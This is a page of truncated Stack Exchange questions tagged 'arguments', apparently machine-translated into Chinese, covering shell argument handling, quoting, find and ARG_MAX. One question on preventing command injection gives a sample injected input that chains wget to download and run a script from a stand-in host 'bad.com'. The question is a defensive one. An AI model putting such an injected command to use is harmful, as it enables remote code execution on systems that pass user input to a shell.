Questions tagged «arguments»

参数通常定义为传递给函数,过程或命令行程序的实际值。

2
如何从$ @删除位置参数
基本上,我想-inf从参数列表中“拔出”第一次出现。(其余参数将传递给其他命令。) 我拥有的脚本具有以下结构: #!/bin/sh <CODE> for POSITIONAL_PARAM in "$@" do <CODE> if [ "$POSITIONAL_PARAM" = '-inf' ] then <PLUCK $POSITIONAL_PARAM FROM $@> break fi <CODE> done <CODE> some-other-command "$@" # end of script 有什么好方法吗? 顺便说一句,即使我主要对适用于的答案感兴趣,但我/bin/sh也对仅适用于的答案感兴趣/bin/bash。

3
如何通过命令选项防止命令注入?
我有一个包装器应用程序,需要让用户指定自定义选项以传递给模拟器。但是,我想确保用户不会通过用户选项注入其他命令。做到这一点的最佳方法是什么? 例如。 用户提供: -a -b 应用程序执行: mysim --preset_opt -a -b 但是,我不希望这种情况发生: 用户提供: && wget http:\\bad.com\bad_code.sh && .\bad_code.sh 应用程序执行: mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh 当前,我认为我可以将每个用户提供的选项都用单引号引起来,'并去除用户提供的任何单引号,这样最后一个示例中的命令将变成无害的: mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh' 注意:该mysim命令在docker / lxc容器中作为Shell脚本的一部分执行。我正在运行Ubuntu。

4
如果没有给出命令,如何解析bash脚本中的可选参数?
当为以下程序编写bash脚本时,我很困惑如何包括可选参数/标志: 该程序需要两个参数: run_program --flag1 <value> --flag2 <value> 但是,有几个可选标志: run_program --flag1 <value> --flag2 <value> --optflag1 <value> --optflag2 <value> --optflag3 <value> --optflag4 <value> --optflag5 <value> 我想运行bash脚本,使其接受用户参数。如果用户仅按顺序输入两个参数,则为: #!/bin/sh run_program --flag1 $1 --flag2 $2 但是,如果包含任何可选参数怎么办?我认为那是 if [ --optflag1 "$3" ]; then run_program --flag1 $1 --flag2 $2 --optflag1 $3 fi 但是,如果给出4美元而不给出3美元怎么办?

4
为什么不对||使用多个命令 或&&有条件的工作?
这适用于shell(重击,破折号)提示: [ -z "" ] && echo A || echo B A 但是,我试图编写一个POSIX shell脚本,它的开始是这样的: #!/bin/sh [ "${#}" -eq 1 ] || echo "Invalid number of arguments, expected one."; exit 1 readonly raw_input_string=${1} [ -z "${raw_input_string}" ] && echo "The given argument is empty."; exit 1 而且我不知道为什么,但是我没有得到消息: 给定的参数为空。 如果我这样调用脚本: ./test_empty_argument "" …

2
Bash字符串串联用于构建参数列表
鉴于这一点: PARMS='-rvu' PARMS+=" --delete --exclude='.git'" echo $PARMS rsync ${PARMS} . ${TARGET} 回显按预期显示PARMS字符串,不显示任何错误,但rsync默默地充当+ =添加的选项。但是,这按预期工作: PARMS='-rvu' rsync ${PARMS} --delete --exclude='.git' . ${TARGET} 我想我用bash引号搞砸了(这些引号总是有问题),但是即使字符串似乎已经正确构建,也不能完全确定忽略了什么以及为什么忽略了这些选项。

3
如何通过命令替换生成另一个命令的参数
从以下内容开始: Shell命令替换中的意外行为 我有一个命令,可以接收大量参数,其中一些参数可以合法地包含空格(可能还有其他内容) 我写了一个脚本,可以为我生成带引号的参数,但是我必须复制并粘贴输出,例如 ./somecommand <output on stdout with quoting> ./othercommand some_args <output from above> 我试图通过简单地简化 ./othercommand $(./somecommand) 并遇到了上面提到的意外行为。问题是-可以可靠地使用命令替换生成参数,othercommand前提是某些参数需要引用并且不能更改?

3
如何使用不同的参数重复执行命令?
我在Ubuntu上。我复制了一些参数(以换行符分隔),可以使用xsel这样打印出来 $ xsel arg1 arg2 arg3 arg4 ... 现在,我想将这些参数中的每一个用于另一个命令,并在有参数的情况下执行该命令。 所以我尝试了 $ xsel | mycommand "constantArgument" $1 但是,此操作mycommand仅对第一个参数执行。如何为每个参数执行它?

3
是否有一种简单的方法来记录所有执行的命令,包括命令行参数?
我试图找到如何记录特定的实例化,rrdtool以查看其接收的路径是否不正确。 我知道我可以将可执行文件包装在可以记录参数的shell脚本中,但是我想知道是否还有一种更特定于内核的方式来监视它,也许是一个文件系统回调,它可以在特定的/ proc / pid / exe文件中看到匹配给定的二进制?
11 logs  proc  arguments  audit 


1
删除超过500天的文件
我的目录包含2010年以来的文件。.我想删除所有500天以上的文件,我尝试这样做: find /var/log/arc/* -type f -mtime +500 -delete {}\; 但是我得到这个: -bash: /usr/bin/find: Argument list too long 据我所知,这意味着文件太多,find无法处理它们。但是,即使我提出了+20003年以上的建议,我仍然会做到这一点。 我在这里想念的是什么?

2
传递参数以保持原样
我有以下功能: bar() { echo $1:$2; } 我正在从另一个函数调用此函数foo。foo本身称为: foo "This is" a test 我想得到以下输出: This is:a 也就是说,bar接收到的参数应该与我传递给的参数相同foo。 foo为了实现这一目标需要如何实施?我已经尝试了以下两个实现,但是都没有用: foo() { bar $*; } –输出: this:is foo() { bar "$*"; } –输出: this is a test: 我的问题实际上是如何保留引号。这有可能吗?

3
如何将find找到的文件作为参数传递?
首先要截断一些琐碎但不适用的答案:我既不能使用find+ xargs技巧,也不能使用其变体(如findwith -exec),因为每次调用我需要使用很少的此类表达式。最后,我会回到这一点。 现在来看一个更好的例子,让我们考虑: $ find -L some/dir -name \*.abc | sort some/dir/1.abc some/dir/2.abc some/dir/a space.abc 我如何将这些作为参数传递给program? 只是做不成功 $ ./program $(find -L some/dir -name \*.abc | sort) 失败,因为program获取以下参数: [0]: ./program [1]: some/dir/1.abc [2]: some/dir/2.abc [3]: some/dir/a [4]: space.abc 可以看出,带有空间的路径被分割,并program认为它是两个不同的参数。 报价直到生效 似乎像我这样的新手用户,遇到此类问题时,往往会随机添加引号,直到最终起作用为止-仅在这里似乎没有帮助… "$(…)" $ ./program "$(find -L some/dir -name \*.abc | …

4
shell脚本是否可以打印其引号,就像您在shell提示符下编写引号一样?
在shell脚本中,我的理解是"$@"扩展到脚本参数,并根据需要引用它们。例如,这会将脚本参数转发给gcc: gcc -fPIC "$@" 但是,当使用bash传递到stdin的语法时<<<,"@$"却无法正常运行。 #!/bin/bash cat <<< "$@" 调用脚本./test.sh foo "bar baz"给 foo bar baz 我希望 foo "bar baz" 有没有一种方法可以像在shell提示符下那样编写可打印其参数的shell脚本?例如:关于下一步要使用的命令的提示,包括提示中的脚本参数。

4
将多个目录传递给find中的-prune选项
我find用来查找和删除备份文件,但希望从搜索中排除某些目录。备份文件名可能会终止.bck,bak,~,或backup。 只有三个要排除的目录的最小工作示例(MWE)代码是: #! /bin/bash find . -type d \( -path "./.*" -o -path "./Music" -o -path "./Documents" \) -prune -o -type f \( -name "*.bck" -o -name "*.bak" -o -name "*~" -o -name "*.backup" \) -print0 | xargs -0 --no-run-if-empty trash-put 语法\( -path "dir1" -o -path "dir2" ... -o -path …

2
找到实际最大参数列表长度的规范方法是什么?
在ARG_MAX之后,新进程的最大参数长度似乎ARG_MAX在运行Ubuntu 12.04的Mac Mini 3,1上错误地(或至少是模棱两可)定义了: $ getconf ARG_MAX # arguments 2097152 $ locate limits.h | xargs grep -ho 'ARG_MAX[ \t]\+[0-9]\+' | uniq | cut -d ' ' -f 8 131072 实际的限制似乎介于以下两者之间: $ cd "$(mktemp -d)" $ touch $(seq 1 131072) && find . -mindepth 1 -printf x | wc -c && …

By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.